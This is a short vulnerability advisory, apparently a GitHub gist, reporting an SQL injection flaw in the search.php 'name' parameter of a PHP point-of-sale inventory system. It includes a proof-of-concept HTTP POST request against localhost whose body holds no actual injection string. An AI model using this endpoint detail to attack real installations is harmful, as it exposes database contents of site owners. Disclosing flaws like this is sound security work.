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Masamuneee/POS_sql_5.md Secret

Created January 2, 2025 09:26
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  1. Masamuneee created this gist Jan 2, 2025.
    43 changes: 43 additions & 0 deletions POS_sql_5.md
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    # pos-inventory-system-in-php has sql injection vulnerability in search.php via name parameter

    ## supplier
    https://code-projects.org/pos-inventory-system-using-php-source-code/

    ## Vulnerability file
    search.php via name parameter

    ## Description
    In /user/search.php, there is a SQL injection vulnerability. The parameter that can be controlled is $search. This function executes the search parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information from the server database.

    ![image](https://gist.github.com/user-attachments/assets/dd9badb4-eed2-45b8-b4fd-c5e585a45063)

    ## PoC

    ```
    POST /POS_inventory/user/search.php HTTP/1.1
    Host: localhost
    Content-Length: 11
    sec-ch-ua-platform: "Windows"
    Accept-Language: en-US,en;q=0.9
    sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
    sec-ch-ua-mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://localhost
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Accept-Encoding: gzip, deflate, br
    Cookie: PHPSESSID=efr9d42glf5s6l2qp92e9rk9g1
    Connection: keep-alive
    name=1&ss=1
    ```

    ![image](https://gist.github.com/user-attachments/assets/7de70aba-fbfd-477e-9e02-15c2cae10950)

    ## Author:

    Masamune